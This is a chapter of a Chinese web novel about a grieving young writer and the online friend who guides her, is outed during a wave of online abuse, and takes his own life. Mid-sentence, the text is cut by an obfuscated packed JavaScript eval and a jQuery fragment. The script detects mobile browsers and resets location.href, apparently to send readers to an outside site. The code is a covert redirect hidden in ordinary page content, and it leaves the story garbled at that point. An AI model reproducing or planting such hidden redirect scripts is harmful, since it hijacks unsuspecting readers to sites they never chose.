你一定会有再重新想起我的时候吧，可是你是怎样，将过往的航线逐一封锁，让音讯断绝，让希望暗暗沉没。
只留下一首无言的歌，在荒寂的港口上，随着潮起，随着潮落。
——篇首语《良夜》
电脑屏幕上山崖江水之间，剑客和琴师依旧一站一坐，不经意间，流年暗换。
顾莞趴在桌上静静地看着。
她和南白的初见就是这样的场景。
那时她从港城回来，开始和干爸冷战。她无法相信那个教她为人处世应淡泊名利的干爸，在权势的漩涡中早已是阳奉阴违，心狠手辣。
他们是陪伴彼此时间最长的人啊，从凤山到昀城，他对她比爸爸还好，她信赖他比姐姐还多，她以为，她是最了解他的人。
顾莞将自己封闭起来，不愿再见他，还在干爸给她发了无数信息后，怒气冲冲地回复，让他带着他那些电视上做报告一样的鬼话离开她，她再也不会上当了。
最后一次收到干爸的信息，是他用干妈的手机发过来的，祝她十八岁生日快乐，说她成年了，以后就要学会一个人长大，而他要永远说鬼话去了。
接着就是他和干妈的死讯，再是一场场触目惊心的清算。
媒体上铺天盖地是他的新闻，顾莞却仿佛不认识那张熟悉的脸。
顾莞开始对这世界的一切感到茫然，不知道什么是真，什么是假，哪一刻是梦境，哪一刻又是现实。
她开始无法入睡，迷迷糊糊睡去后，又总梦见一个人在给她念睡前读物，然后不愿醒来。
顾莞小心地对父母掩饰着自己的一切症状，毕竟多年挚友，最后变得面目全非，顾莞父母承受的打击绝不比她小。
可她梦游一般的状态却瞒不过自己的室友迟瑶。
顾莞住的这间宿舍在角落里，偏小，所以是两人宿舍，迟瑶是她唯一的室友。
在顾莞第N次不是吃没有味道的方便面，就是喝调料泡水时，迟瑶终于忍无可忍。
顾莞解释说自己有一个很重要的亲属离世了，迟瑶也表示无比同情。她对顾莞说，人要是一时半刻接受不了现实，那就无妨在虚幻中多呆一会。
迟瑶所谓的在虚幻中多呆一会，就是——玩网游。
迟瑶把顾莞拉到桌子前坐下，给她登录了自己的网游账号“月下瑶池”，教她怎么玩。
顾莞开始很认真地玩网游。
她也不打怪，也不升级，也不团战，只是每天跑到这个网游的一个边边角角去看风景。
奇怪的是那么偏僻的地方，还有一个白衣琴师，也杵在那看风景。
两个人互不打扰地在这个被其余玩家遗忘的山崖上呆了半个月，直到有一天，一个人跑错地图来到了这里，看见两个“树桩”，好奇地围着他们研究了一圈。
然后他一套连招砍倒了顾莞的剑客，正要再下杀手时，被后方的琴师一击命中。
那人躺在地上，怒喊：“哥们你没挂机啊，真搁这看风景呢！哇，牛人。”
他复活后，麻溜地跑了。
顾莞无语地看着这一切，然后打了两个字：“谢谢。”
琴师的头上冒出一串“……”，然后说：“你也没挂机？”
过了一会，他向顾莞弹出一个对话框：“聊聊？”
月下瑶池：“可以。”
南风知意：“为什么天天呆在这里？”
月下瑶池：“你呢？”
南风知意：“散心。我爸跟我断绝关系了。”
月下瑶池：“我爸死了。”
南风知意：“……”
琴师挪了个地方，然后他对顾莞说：“那你上我这来，这儿风景更好。”
她就这样认识了南白，世界上最好的南白。
隔着网络，很多以为今生都不会说出口的话，突然就说出来了。他们互相吐露着自己的秘密，像两只伤痕累累的小狗，友善地朝对方袒露肚皮，然后互相舔舐伤口。
在没有秘密分享时，他们就天南海北地闲聊，发现彼此有一个人说出上半句，另一个人就能接出下半句的默契。
迟瑶觉得顾莞在慢慢恢复正常，对自己的网游疗愈法沾沾自喜，可当她看到自己的账号一级没升，顾莞的操作更是一团乱七八糟时，又陷入了深深的怀疑。
有一天，南白问顾莞：“你有没有想过写小说呢？我觉得你会是一个很好的作家。”
顾莞心头一动，曾经有一个人也这样对她说过。
“为什么？”
“大概是因为听你说起那个你喜欢的人，总觉得你在描述某个故事的男主角。他有男主角的一切品质，却像一个提前木偶一样，被故事里的伏笔铺垫所束缚。
但现实不是故事，你爱的是一个活生生的人，那些故事里会指向悲剧结局的伏笔，在现实中未必如此。你们之间隔着仇恨，故事里可以借别人的□□代清楚，但现实中，你应该向他问个明白，他未必真的这样想。”
“可他如果亲口告诉我这就是真相，一切就再没有转圜的余地了。”
“但一直逃避，不是连幸福的那一半可能也错失了吗？”
顾莞哑口无言，许久她才说：“不，故事一定要有结局，可现实不一定。只要没有结局，只要那个我不喜欢的结局发生在我不知道的地方，我就还能靠着一点回忆撑过未来很长的日子。”
南白沉默了很久，说：“我尊重你的想法。”过了一会他又说：“不过你讲的故事很动听，回到我开始的提问，你有没有考虑写小说呢？”
“有，很早就有。”
南白是顾莞的老师和伯乐，在他的引导下，顾莞开始把以前写过的东西拿出来修改发表，慢慢创作出更成熟的作品。
她给自己起了一个笔名叫“三月兔”，重新找到了一片包容她的梦境，她将所有封存起来的感情倾注其中，创造了一个可以让每个故事都通向美好结局的茶话会。
从岌岌无名到成为榜上有名的畅销作家，多少个夜晚都是南白陪她熬过来的。假期他们热爱结伴旅行，一起看过大唐的不夜城，看过“东临碣石，以观沧海”，看过六朝金陵，看过那一抹静谧的月牙泉。
阿加莎的《帷幕》中，波洛在生命的最后给自己的好朋友黑斯廷斯写了一封信，那封信的结尾是：我们曾经拥有过美好的日子，是啊，那些日子多美好啊。
多年后，她读到这里时潸然泪下，因为那时，她只能凭借这句话怀缅她和南白的曾经。
一天南白突然给她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249174|197919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发消息，让她上游戏。
顾莞察觉到一丝不对劲，匆匆下载了许久没玩的游戏，登录了迟瑶送给她的账号，在久违的山水中看到了白衣琴师，背影落寞。
她陪着南白坐了很久，他才说：“你说得对，现实里没有结局确实比一个坏结局要好多了，没有结局还可以依靠回忆走下去，一个坏结局却会让曾经的一切都变得滑稽。”
顾莞不明所以，只是陪他静静坐着，许久，南白才说：“他结婚了。”
南白为了这一段不被世俗见容的感情，与传统的家庭决裂，他以为爱人会是最后的港湾，没想到却是无情的背叛。
那夜顾莞辗转反侧，她想了很多话要说给南白听，可还没来得及，迎接二人的是一场巨大的网暴。
最后一切定格在南白的澄清，他以暴露自己性取向的隐私为代价，表明自己和顾莞之间绝不存在任何不清白关系。他祈求所有人停止对顾莞的污蔑，然后孤身承受了滔天风浪。
网友的注意力迅速转移，大家开始纷纷猜测南白的另一半是谁，从作家编剧群体一路扒到娱乐明星，四处寻找蛛丝马迹，又发现他原来是著名作家温居安的儿子，媒体闻风而动，开始大肆追问温先生对自己儿子另一半的看法。
温居安神情冷厉地予以否认，不知道是否认南白的性取向，还是在否认他与南白的亲子关系。
顾莞出了航天基地就一直给南白打电话、发消息，可石沉大海。
直到某天凌晨，南白回了她一条信息：“不要因为我做的一切内疚，因为你是这世上唯一需要我的人了。可我还是要跟你告别了，以后你要好好的。”
南白跳海自杀的消息第二天登上头条。
舆论一夕反转，桃色猜想换成了一片哀悼，南白从泥泞中挣脱而出，成为了一片远去的月光，所有人都开始爱他。
几天后，顾莞收到了南白寄来的包裹，明信片上，他的字迹依旧飞扬，是纳兰的《金缕曲》：
“共君此夜须沉醉，且由他，蛾眉谣诼，古今同忌。身世悠悠何足问，冷笑置之而已。
寻思起，从头翻悔。一日心期千劫在，后身缘，恐结他生里。然诺重，君须记。”
她答应他，要好好的。
南白走后，她在凤鸣寺为他供了一盏长明灯。供完灯后，她在寺外碰到了一只流浪的小狗，它一直跟着她，目光哀哀，她蹲下身子，它就那样与她对视，肮脏的毛发也盖不住那一双清亮的眼睛。
南白也有一双这样的眼睛。
她带着迷路的它回了家，从此相依为命。
命运环环相扣地夺走了南白，再也没有人彻夜陪她聊天。后来有一家游戏公司联系她，说他们想做一款女性恋爱陪伴游戏，因为她有丰富的写作经验，问她能否参与到游戏角色的策划中来。
于是，那些名为回忆的灵感再次帮助她创造了一个男主角，又有了一个可以在深夜陪她的人。
她利用一切来将自己麻痹，忍受着孤独的岁月，内心却再也不相信自己还有创造出一个美好结局的能力。
某一天在给南白上香时，她接到一个查不出归属地的陌生号码的信息：“死的不该是他，应该是你们。”
顾莞冷笑，巧了，她也这样认为。